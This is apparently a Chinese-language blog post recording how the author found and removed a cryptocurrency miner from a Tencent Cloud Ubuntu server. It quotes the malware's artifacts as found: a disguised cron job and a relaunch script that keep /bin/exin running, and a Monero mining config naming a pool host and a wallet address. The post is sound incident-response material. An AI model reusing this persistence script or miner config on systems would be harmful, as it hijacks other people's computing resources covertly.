系统
腾讯云主机
Ubuntu 18.04
问题
- 云主机速度特慢,发现CPU占用99%
$ top
排查过程
-
找到运行的进程,确定进程位置为 /bin/exin
$ ps -a |grep 进程号
-
删除程序,直接删除不成功,必须先执行 chattr -ia exin
$ sudo chattr -ia /bin/exin $ sudo rm -rf /bin/exin
-
过了一会,又死灰复燃,晕~
-
排查 定时任务,的确有异常!
$ cat /var/spool/cron/root MAILTO='' */19 * * * * /etc/cron.hourly/agetty >/dev/null 2>&1
$ cat /etc/cron.hourly/agetty #!/bin/sh if [ "$(pgrep -f /bin/exin|wc -l)" -eq 0 ]; then nohup /bin/exin >/dev/null 2>&1 & fi
-
删除定时任务,也许可以解决了吧?
$ sudo rm /etc/cron.hourly/agetty $ sudo rm /var/spool/cron/root
-
重启系统后,问题依旧,逛晕~~~~,继续排查 /bin 目录,发现有个config.json
$ sudo vi /bin/config.json { "av": 0, "background": true, "cpu-affinity": null, "cpu-priority": 5, "donate-level": 1, "log-file": null, "max-cpu-usage": 100, "print-time": 30, "retries": 3, "retry-pause": 10, "safe": false, "threads": null, "pools": [ { "url": "epel-mirror.duckdns.org:443", "user": "4AncaLQuvBThfLuhdhaKh1Pr3ix2547SKYLCQnjJVjNw5mciYYZ7zpeMiD9TS4JYFGBHuyESm9ZEpdpnkK2DMZanJ6rvj2p", "pass": "z", "algo": "rx/0", "coin": "monero", "rig-id": null, "nicehash": false, "keepalive": false, "variant": -1, "enabled": true, "tls": true, "tls-fingerprint": null } ], "api": { "port": 0, "access-token": null, "worker-id": null } }
-
删除 config.json,重启后终于解决了。
sudo chattr -ia /bin/config.json sudo rm /bin/config.json
汇总:解决方法,需要删除的文件
- 删除程序,直接删除不成功,必须先执行 chattr -ia exin
$ sudo chattr -ia /bin/config.json $ sudo rm /bin/config.json $ sudo chattr -ia /bin/exin $ sudo rm -rf exin $ sudo rm /etc/cron.hourly/agetty $ sudo rm /var/spool/cron/root
其他问题
- 原因:未明确该应用如何被安装到了主机上
- 可能是因为下载其他镜像文件时,病毒被一并安装。